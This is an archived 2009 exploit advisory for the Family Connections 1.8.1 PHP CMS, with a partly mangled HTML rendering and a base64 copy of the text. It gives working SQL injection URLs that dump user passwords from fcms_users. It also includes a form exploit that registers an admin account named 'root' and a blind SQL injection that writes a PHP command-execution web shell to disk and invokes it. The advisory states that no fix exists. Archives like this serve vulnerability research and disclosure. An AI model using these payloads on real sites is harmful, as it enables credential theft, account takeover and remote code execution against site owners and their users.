TUCoPS :: HP Unsorted F :: va3008.htm

Family Connections 1.8.1 Multiple Remote Vulnerabilities
Family Connections 1.8.1 Multiple Remote Vulnerabilities
Family Connections 1.8.1 Multiple Remote Vulnerabilities



--001636c598645273b9046659a77e
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Family Connection
[+] Version: 1.8.1
[+] Website: http://www.familycms.com 

[+] Bugs: [A] Multiple SQL Injection
          [B] Create Admin User
          [C] Blind SQL Injection	

[+] Exploitation: Remote
[+] Date: 25 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com 


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = on/off

These bugs allows a registered user to view
username and password of all registered users.


- [B] Create Admin User

[-] Requisites: magic_quotes_gpc = off
[-] File affected: register.php, activate.php

This bug allow a guest to create an account with
administrator privileges.


- [C] Blind SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: lostpw.php


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/addressbook.php?letter=-1%25' UNION ALL 
SELECT 1,2,NULL,username,5,password,email FROM fcms_users%23

http://www.site.com/path/recipes.php?category=1&id=1 UNION SELECT 
1,2,username,password,5,6 FROM fcms_users

http://www.site.com/path/home.php?poll_id=-1 UNION ALL SELECT 
1,NULL,3,CONCAT(username, 0x3a, password) FROM fcms_users%23


- [B] Create Admin User


  
    Family Connection 1.8.1 Create Admin User Exploit
  
  
    

This exploit creates an user with administrator privileges using follows information:
Username: root
Password: toor

action="http://localhost/fcms/register.php" method="POST"> value="blabla@blabla.blabla"> 'root@owned.com', '00-00-00', 'root', '7b24afc8bc80e548d66c4e7ff72171c5')#'">
To activate accounts: http://www.site.com/path/activate.php?uid=1 or 1=1&code [C] Blind SQL Injection POST /path/lostpw.php HTTP/1.1\r\n" Host: www.site.com\r\n" Content-Type: application/x-www-form-urlencoded\r\n" Content-Length: 193\r\n\r\n" email=-1' UNION ALL SELECT '"; system($_GET[cmd]); echo "


";?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE '/var/www/htdocs/path/rce.php'# To execute commands: http://www.site.com/path/rce.php?cmd=ls ************************************************* [+] Fix No fix. ************************************************* -- Salvatore "drosophila" Fresta CWNP444351 --001636c598645273b9046659a77e Content-Type: text/plain; charset=US-ASCII; name="Family Connections 1.8.1 Multiple Remote Vulnerabilities-25032009.txt" Content-Disposition: attachment; filename="Family Connections 1.8.1 Multiple Remote Vulnerabilities-25032009.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_fsxgawzd0 KioqKioqKiAgIFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhICAgKioqKioqKgoKWytdIEFw cGxpY2F0aW9uOiBGYW1pbHkgQ29ubmVjdGlvbgpbK10gVmVyc2lvbjogMS44LjEKWytdIFdlYnNp dGU6IGh0dHA6Ly93d3cuZmFtaWx5Y21zLmNvbQoKWytdIEJ1Z3M6IFtBXSBNdWx0aXBsZSBTUUwg SW5qZWN0aW9uCiAgICAgICAgICBbQl0gQ3JlYXRlIEFkbWluIFVzZXIKICAgICAgICAgIFtDXSBC bGluZCBTUUwgSW5qZWN0aW9uCQoKWytdIEV4cGxvaXRhdGlvbjogUmVtb3RlClsrXSBEYXRlOiAy NSBNYXIgMjAwOQoKWytdIERpc2NvdmVyZWQgYnk6IFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJl c3RhClsrXSBBdXRob3I6IFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhClsrXSBDb250YWN0 OiBlLW1haWw6IGRyb3NvcGhpbGF4eHhAZ21haWwuY29tCgoKKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKWytdIE1lbn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UuY29tL3BhdGgvcmNlLnBocD9jbWQ9bHMK CgoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgpbK10g Rml4CgpObyBmaXguCgoKKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKg=--001636c598645273b9046659a77e--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH